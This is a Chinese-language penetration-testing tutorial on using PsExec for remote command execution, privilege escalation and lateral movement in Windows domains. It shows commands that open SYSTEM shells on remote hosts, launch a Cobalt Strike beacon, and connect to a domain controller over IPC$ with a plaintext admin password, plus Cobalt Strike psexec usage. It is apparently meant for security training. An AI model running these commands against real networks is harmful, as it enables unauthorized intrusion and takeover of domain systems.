Psexec

简介

PsExec是Sysinternals套件中的一个工具,由Microsoft发布。它允许系统管理员在远程Windows主机上执行进程,通常不需要在远程系统上安装任何客户端软件。在内网渗透测试中,PsExec有以下作用:

  • 远程命令执行:渗透测试人员可以使用PsExec在远程主机上执行命令,这对于执行恶意代码、执行数据收集任务或执行其他操作都非常有用。

  • 横向移动:当攻击者在网络中的一个节点上获得权限后,他们通常会尝试移动到其他系统。PsExec允许他们在其他系统上执行命令和程序,从而实现在网络中的横向移动。

  • 提权:在某些情况下,通过使用PsExec,攻击者可能能够以更高的权限级别执行进程,特别是如果目标系统存在配置不当或漏洞。

  • 文件传输:除了远程执行命令,PsExec还可以用来上传或下载文件,这对于部署恶意工具或提取敏感数据都很有用。

  • 服务创建PsExec可以在远程系统上创建并启动服务,这为持久性和后门访问提供了机会。

  • 避免直接触碰硬盘:由于PsExec可以直接在内存中执行文件,因此它可以避免某些基于磁盘的侦测机制。

使用指南

常用参数

参数
描述

\\computer

指定目标计算机。使用\\*指定网络中的所有计算机。

-u

指定用于登录的用户名。如:-u domain\username

-p

指定用户的密码。

-s

在远程计算机上的System账户上下文中执行命令。

-i

在指定的会话中运行程序,与交互式应用程序互动。

-d

不等待远程程序完成,后台执行命令。

-accepteula

接受PsExec的许可协议。

-h

如果目标系统启用了UAC,使远程进程在UAC上下文中“继承”父进程的令牌。

常用操作

1.建立一个管理员权限的交互性的shell

PsExec \\ip -u <管理员用户> -p <用户密码>  -accepteula -s cmd.exe

2.远程执行程序

PsExec \\ip -u <管理员用户> -p <用户密码> -accepteula -s C:\beacon.exe

3.尝试以更高的权限执行程序

PsExec \\ip -u <管理员用户> -p <用户密码> -accepteula -h C:\beacon.exe

IPC$下使用psexec

首先需建立IPC$链接

net use \\dc.henry.com\ipc$ /user:administrator qQ123456
image-20230902113049749

上传psexec至目标主机,远程执行ipconfig命令

PsExec64.exe -accepteula \\dc.henry.com -s ipconfig
image-20230902113126219

获取一个交互性的cmd shell

PsExec64.exe -accepteula \\dc.henry.com -s cmd
image-20230902113153396

CS下使用psexec

在jmp菜单有psexecpsexec_psh,它们都是远程执行的工具,只不过工作方式稍有不同:

  • psexec:这是基于Sysinternals的PsExec工具的功能。它将有效载荷(通常是一个服务)上传到远程机器并执行它。

  • psexec_psh:相比于传统的psexec,它尝试使用PowerShell执行有效载荷,这可以在某些环境中提供更隐蔽的执行,因为它尝试不在目标机器上写入任何文件

image-20230902162831604

填写域控管理员的相关信息

执行psexec后会上线你填写的域控用户权限的会话

image-20230902163257425

若出现下图情况,那么很可能目标服务器安装了杀软

image-20230902163759713

最后更新于